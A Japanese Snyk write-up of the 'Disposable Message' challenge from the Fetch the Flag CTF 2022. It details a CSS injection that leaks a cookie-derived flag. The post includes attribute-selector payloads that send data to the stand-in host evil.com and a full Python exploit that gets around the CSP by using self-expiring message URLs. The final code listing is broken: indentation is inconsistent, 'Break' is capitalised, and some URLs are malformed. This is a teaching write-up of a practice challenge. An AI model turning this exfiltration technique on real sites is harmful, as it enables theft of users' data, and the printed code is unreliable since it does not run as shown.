Skip to main content

Fetch the Flag CTF 2022 解説:Disposable Message

著者

Michael Aquilina

feature ctf disposable message

2022年11月10日

0 分で読めます

Fetchに参加していただき、ありがとうございました! 参加してくれた何千人ものプレイヤーの皆さん、Fetch the Flag CTFへのご参加おめでとうございます。また、チャレンジの作成、テスト、解説記事の執筆に携わったSnykerの皆さんにも心から感謝します!

この記事では、Snykの2022年Fetch the Flag CTFイベントで出題されたDisposable Messageチャレンジについて解説します。このチャレンジでは、CSSインジェクションの手法を使って脆弱なWebページを悪用し、フラグを取得します。厳格なContent Security Policy(CSP)が設定されていたため、Disposable Messageは特に難しいチャレンジでした。メッセージが閲覧時に期限切れになる仕組みを利用することが、このポリシーを回避する鍵となりました。

この記事では、このチャレンジで動作するエクスプロイトをどのように考案したかを解説します。調査から始め、そこで得た知見をもとに動作するエクスプロイトを作成するまでの過程を紹介します。エクスプロイトのコードはPythonで記述しているため、読者はある程度Pythonに慣れていることを前提とします。CSS、JavaScript、HTMLの知識も役立ちますが、ここで説明する内容の大半は解説していきます。

調査

チャレンジを開始すると、「This message has expired.(このメッセージの有効期限が切れました)」という短い説明と、Webページへのリンクが表示されます。

この説明は、Webページでメッセージを作成でき、そのメッセージはサーバーによって削除されるまで一度だけ閲覧できることを示唆しています。説明文にこの点が記載されているのは、おそらく重要な役割を持つことを示す強いヒントです(後で思い出せるようにしておきましょう)。

ページにアクセスすると、次の画面が表示されます。

使い捨てメッセージのWebページ。メッセージ入力欄と、自己消去するプライベートメッセージを送信するための青い「送信」ボタンが表示されている

ページにはメッセージを入力するテキストボックスがあります。メッセージを入力してSend!ボタンをクリックすると、次のページが表示されます。

共有URL、「コピー」と「管理者が訪問」ボタン、およびメッセージを開けるのは1回のみであることを示す警告が表示された使い捨てメッセージのWebページ

/view/<message-id>という形式の新しいURLが表示されています(以降、このページをメッセージ閲覧ページと呼びます)。また、このメッセージをクリップボードにコピーするボタンと、Ask admin bot to visitボタンもあります。ブラウザーでメッセージ閲覧URLを開くと、作成したメッセージを確認できます。同じページにもう一度アクセスすると、Webサーバーは404ステータスコードを返します。

「DM」、太陽と月のボタン、中央に「見つかりませんでした :(」と表示された暗いウェブサイトのヘッダー

Ask Admin bot to visitボタンに戻りましょう。これをクリックすると、リモートの管理者ボットがブラウザーでメッセージを閲覧すると推測できます。クリック後すぐにメッセージの有効期限が切れるため、この推測はかなり確かです。また、「admin bot」という名前からも、このブラウザーには必要なフラグが含まれている可能性が高いと考えられます。

次に、ページのソースコードを確認し、注目すべき点がないか調べてみましょう。

フラグの場所

メッセージ閲覧ページには、次のHTMLコードが含まれています。

<!-- from your cookies -->
<div data-flag=""></div>

コードのコメントによると、このdiv要素にはCookieから取得した値がdata-flag属性として設定されます。ブラウザーの開発者ツールでCookieを編集し、どうなるかを確認すれば簡単に確かめられます。

フラグCookieの名前として最も自然なのは「flag」です。「flag」という名前のCookieに「SNYK{hello-world}」を設定してからメッセージ閲覧ページを再び開くと、属性に値が正しく設定されていることがわかります。

ブラウザーの開発者ツールに、値がSNYK{hello-world}のフラグを含むCookieのストレージ項目が表示されています。
<!-- from your cookies -->
<div data-flag="SNYK{hello-world}">SNYK{hello-world}</div>

CSSインジェクション

メッセージ閲覧ページに含まれるスクリプトを見ると、次のJavaScriptコードも確認できます。

if (window.location.search.startsWith('?color=')) {
    localStorage.setItem(
        'color',
        decodeURIComponent(window.location.search.replace('?color=', ''))
    );
}

const color = localStorage.getItem('color') || 'ffffff';
const style = document.createElement('style');

style.innerText = `body {background-color: #${color};}`;
document.head.appendChild(style);

このスクリプトは、URLに「color」というクエリ文字列パラメーターがあるかどうかを確認します。存在する場合、そのパラメーターの値がstyleタグに設定されます。最後に、そのstyleタグがWebページに動的に挿入されます。

このstyleタグで注目すべきなのは、文字列フォーマットを使って作成されていることです。文字列フォーマットを使うと、styleタグから抜け出して任意のCSS値を追加できます。これはCSSインジェクションの脆弱性として知られています。

colorパラメーターにcolor=00ff00;font-size:80pxのような値を設定し、フォントサイズが指定どおりに変わることを確認すれば、CSSインジェクションに対して脆弱かどうかを簡単にテストできます。

明るい緑色の背景に、メッセージ入力欄、HTMLタグのテキスト、青い「送信」ボタンが表示されたDisposable Messageのウェブページ

CSSインジェクションを使うと、ユーザーのブラウザー内にあるページから情報を外部へ送信できます。この攻撃では、特定のセレクターに値が一致したときにURLへのリクエストが発生するよう、複数のCSSセレクターを作成します。

たとえば、HTMLのdiv要素のdata-flag属性を流出させたい場合、colorパラメーターに次のような値を設定できます。

div[data-flag^=a] {
    background-image: url(//evil.com/a)
}
div[data-flag^=b] {
    background-image: url(//evil.com/b)
}
// etc…
div[data-flag^=y] {
    background-image: url(//evil.com/y)
}
div[data-flag^=z] {
    background-image: url(//evil.com/z)
}

上記の^=セレクターは、属性値が指定した文字列で始まる場合に、対応するURLへのリクエストを発生させます。

つまり、たとえばdivのdata-flag属性がaで始まる場合、ブラウザーはhttp//evil.com/a にアクセスします。値がbで始まる場合はhttp//evil.com/bにアクセスする、といった具合です。

evil.comのサーバーを管理していれば、どのページにアクセスがあったかを把握できます。CSSセレクターを十分な回数試せば、data-flag属性を1文字ずつ取得できます。

Content Security Policy

最新のWebブラウザーには、Webページで使用できるコンテンツを制限するContent Security Policy(CSP)という機能があります。このチャレンジには、前述のCSSインジェクション手法を直接使えないようにするCSPが設定されています。

ブラウザーの開発者ツールでページのヘッダーを確認すると、CSPを調べられます。

ブラウザーの開発者ツールに表示された、成功したGETリクエストと、scriptおよびimageのソースディレクティブを含むContent-Security-Policyレスポンスヘッダー
Content-Security-Policy: default-src 'self'; font-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/; frame-src 'self'

ポリシーのimg-srcセクションでは、「self」と「data''」のみが許可されていることに注目してください。つまり、使えるのは使い捨てメッセージのページと同じドメインに属するURLだけです。特に、CSSインジェクションでアクセスされたURLを確認するために、自分が所有するドメインを使うことはできません。しかし、チャレンジの使い捨てメッセージを利用すれば、この制限を回避できます。

使い捨てメッセージは一度しか閲覧できません。すでに閲覧されたメッセージにアクセスすると、404ステータスコードが返されます。そのため、CSSインジェクションのセレクターに使い捨てメッセージのURLを指定し、そのURLが閲覧されたかどうかをステータスコードで判定できます。

調査のまとめ

調査でわかった、エクスプロイトの作成に役立つ重要な情報は次のとおりです。前のセクションを完全に理解できなかった場合や、ざっと読んだだけの場合でも、以下を把握しておけば次のセクションに進めます。

  • メッセージ閲覧ページは、?color=クエリ文字列パラメーターを介したCSSインジェクションに対して脆弱です。つまり、ページに任意のスタイルを設定できます。

  • Content Security Policyでは、同じドメインのURLのみが許可されています。そのため、外部URLはブラウザーによってブロックされます。

  • メッセージを閲覧できるのは一度だけです。未閲覧のメッセージには200ステータスコードが返され、すでに閲覧されたメッセージには404ステータスコードが返されます。

  • フラグはメッセージ閲覧ページ内のdata-flag属性にあります。この値は、ブラウザーの「flag」Cookieパラメーターから設定されます。admin botのブラウザーには、正しいフラグが設定されたCookieがあると考えられます。

これらの情報を組み合わせて、エクスプロイトを作成する方法を見ていきましょう。

エクスプロイト

CSSインジェクションを使うと、data-flag属性からフラグを1文字ずつ取得できます。ただし、チャレンジと同じドメイン内のURLを使う必要があります。CSSインジェクションで文字を外部へ送信する際に重要なのは、URLにアクセスがあったかどうかを把握し、どの文字が流出したかを特定することです。

幸い、使い捨てメッセージのドメイン内で、文字ごとにメッセージを生成できます。各URLを、それぞれの文字を含むCSSセレクターと紐付けられます。

div[data-flag^=a] { background: url(/view/1d2e4e8b-40dc-4569-9737-6e7725277173); }
div[data-flag^=b] { background: url(/view/092d619a-269a-4b66-be55-bfe2ced506d7); }
div[data-flag^=c] { background: url(/view/2b87ba4d-4c8d-46e8-bcad-d664f3166ec4); }
div[data-flag^=d] { background: url(/view/a69bb0eb-cd83-43e9-9e14-6386cf486b9e); }
div[data-flag^=e] { background: url(/view/fe045e4b-41fb-4de1-973b-7ffd03563b13); }
…
div[data-flag^=}] { background: url(/view/54c5f762-2e8b-4257-91d2-2de3f9988318); }

たとえば、Pythonでは次のように実装できます。

payload = "?color=ffffff}"
messages = {}
for character in alphabet:
    guess = character
    # generate a message url to test our CSS selectors with
    view_url, _ = generate_message()
    messages[guess] = view_url

    payload += generate_payload(view_url, guess)

generate_payload関数では、推測が正しければ対応するURLへのリクエストが発生するCSSセレクターを作成する必要があります。この関数は次のようになります。

def generate_payload(url, guess):
    return f'div[data-flag^="{guess}"]{{background:url({url});}}'

generate_message関数では、Send!ボタンが呼び出すPOST /newエンドポイントを使って新しいメッセージを作成します。作成後、この呼び出しで生成されたadmin bot用URLとメッセージ閲覧URLを保存します。これらのURLは、正規表現を使ってレスポンスから抽出できます。

def generate_message():
    # the actual content of the message is not important
    data = {"message": "Hello world!"}
    resp = requests.post(DOMAIN + "/new", data=data)

    result = re.findall(r"/view/[a-f0-9\-]+", resp.text)
    view_url = result[0]

    result = re.findall(r"/admin-bot/[a-f0-9\-]+", resp.text)
    admin_url = result[0]

    return view_url, admin_url

メッセージと、それに対応するCSSセレクターのペイロードを生成したら、admin botが閲覧するメッセージをもう1つ作成します。このメッセージがペイロードを受け取り、「data-flag」属性の値が推測と一致するかどうかに応じて、各メッセージのURLへのリクエストを発生させます。

admin botを呼び出したら、ボットがページを取得してレンダリングするまで数秒待ちます。待機後、推測に関連付けたすべてのメッセージURLのステータスコードを確認し、404ステータスコードを返すものを探します。404が見つかれば、admin botがそのURLにアクセスしたとわかるため、その推測が正解だったと判断できます。

flag = “”
payload = "?color=ffffff}"

messages = {}
for character in alphabet:
    guess = flag + character
    view_url, _ = generate_message()
    messages[guess] = view_url

    payload += generate_payload(view_url, guess)

_, admin_url = generate_message()

url = DOMAIN + admin_url + quote_plus(payload)
requests.post(url)

time.sleep(5)

for guess, url in messages.items():
    status = requests.get(DOMAIN + url).status_code
    print(f"Checking '{guess}': {url} ({status})")

    if status == 404:
        flag = guess
        print("Found match", flag)
        break

クエリ文字列のエンコード

上記のコードでは、パラメーター名とクエリ文字列の区切り文字?color=を含むクエリ文字列全体をquote_plusでエンコードしていることに気づいたかもしれません。これは、クエリ文字列を介してadmin botに渡したペイロードが無視されるためです。

この問題を回避するには、admin botにクエリ文字列をURLパスの一部だと思わせ、アクセスするメッセージ閲覧URLに含める方法があります。

たとえば、URLパスが次のようになっているとします。/admin-bot/f785781-55f4-4eca-8565-8511f12a4ffc**?color=**ffffff%7D…

この場合、admin botはクエリ文字列パラメーターを無視し、URLパス/view/f785781-55f4-4eca-8565-8511f12a4ffcにアクセスします。

しかし、クエリ文字列パラメーター全体をエンコードすると、URLパスの一部になります。

/admin-bot/f785781-55f4-4eca-8565-8511f12a4ffc**%3Fcolor%3D**ffffff%7D…

Webサーバーは、この値をデコードしてからボットに渡し、アクセスさせているようです。つまり、ボットがアクセスするページのURLは次のようになります。

/view/f785781-55f4-4eca-8565-8511f12a4ffc?color=ffffff}...

フラグ全体の取得

正しく推測する方法がわかったので、推測がフラグと完全に一致するまでこの手順を繰り返します。そして「}」に到達したら、終了です。

他のチャレンジで使われたフラグから、Snykのフラグは'SNYK{'で始まり、波括弧の中身はUUIDだとわかっています。これを利用すれば、候補の文字を「a-f」と「0-9」だけに絞れます。その結果、各段階での推測に必要な時間を大幅に短縮できます。

エクスプロイトのコード

ここまでの内容をまとめると、最終的なソースコードは次のようになります。

import time
import requests
import re
from urllib.parse import quote_plus
from string import digits

DOMAIN = "http://disposable-message.c.ctf-snyk.io"

def main():
      alphabet = "abcdef" + digits + "}"
      print("DOMAIN", DOMAIN)
      print("alphabet", alphabet)
      flag = "SNYK{"

      while True:
            payload = "?color=ffffff}"

            messages = {}
      for character in alphabet:
            guess = flag + character
            view_url, _ = generate_message()
            messages[guess] = view_url

            payload += generate_payload(view_url, guess)

      _, admin_url = generate_message()

      url = DOMAIN + admin_url + quote_plus(payload)
      requests.post(url)

      time.sleep(5)

      for guess, url in messages.items():
            status = requests.get(DOMAIN + url).status_code
            print(f"Checking '{guess}': {url} ({status})")

            if status == 404:
            flag = guess
            print("Found match", flag)
            Break
      else:
                  raise ValueError("Unable to find guess")

def generate_payload(url, guess):
      return f'div[data-flag^="{guess}"]{{background:url({url});}}'

def generate_message():
      data = {"message": "Hello world!"}
      resp = requests.post(DOMAIN + "/new", data=data)

      result = re.findall(r"/view/[a-f0-9\-]+", resp.text)
      view_url = result[0]

      result = re.findall(r"/admin-bot/[a-f0-9\-]+", resp.text)
      admin_url = result[0]

      return view_url, admin_url

if __name__ == "__main__":
      main()

このコードを実行すると、SNYKフラグが1文字ずつ流出するのを確認でき、達成感を味わえます。

SNKYのメッセージ識別子をテキストベースで確認するターミナルウィンドウ。URLパスとHTTPステータスコードが表示されている

メッセージは消え、チャレンジは攻略済み

使い捨てメッセージのチャレンジにCSSインジェクションの脆弱性があることがわかりました。厳格なContent Security Policyによって難易度は上がりましたが、閲覧済みのメッセージが返す404ステータスコードを利用し、フラグを流出させるエクスプロイトを作成できました。

このCTF解説を楽しんでいただき、新しい発見があったなら幸いです。CTFチャレンジは実際のエクスプロイトについて学ぶ絶好の機会であり、自分のシステムを攻撃から守る力にもつながります。他のフラグをどのように見つけたか知りたい方は、Fetch the Flagの解答ページをご覧ください。

続きを読む

Blog

フロンティアモデルは脆弱性を発見した。攻撃者だけがエクスプロイトチェーンを見つけた。

静的解析で欠陥は見つかりましたが、ライブ攻撃テストで侵害につながる連鎖を実証できたのは唯一でした。Evo COS、Claude Security、Claude Code Securityを比較します。

feature insights context
Blog

自律型攻撃はすでに始まっている。防御もそのスピードに追いつかなければならない。

自律型攻撃者によって、防御に使える時間は短くなっています。継続的な検出、修復、検証、予防で、セキュリティチームが攻撃に歩調を合わせる方法をご紹介します。

Blog

AIコーディングエージェントが不適切なアクセス制御を繰り返し実装する理由

AIコーディングエージェントは、コンパイルが通りレビューも通過する一方で、あるテナントのデータを別のテナントに公開してしまう認可ロジックを生成することがあります。不適切なアクセス制御が検出しにくい理由と、その防止策をご紹介します。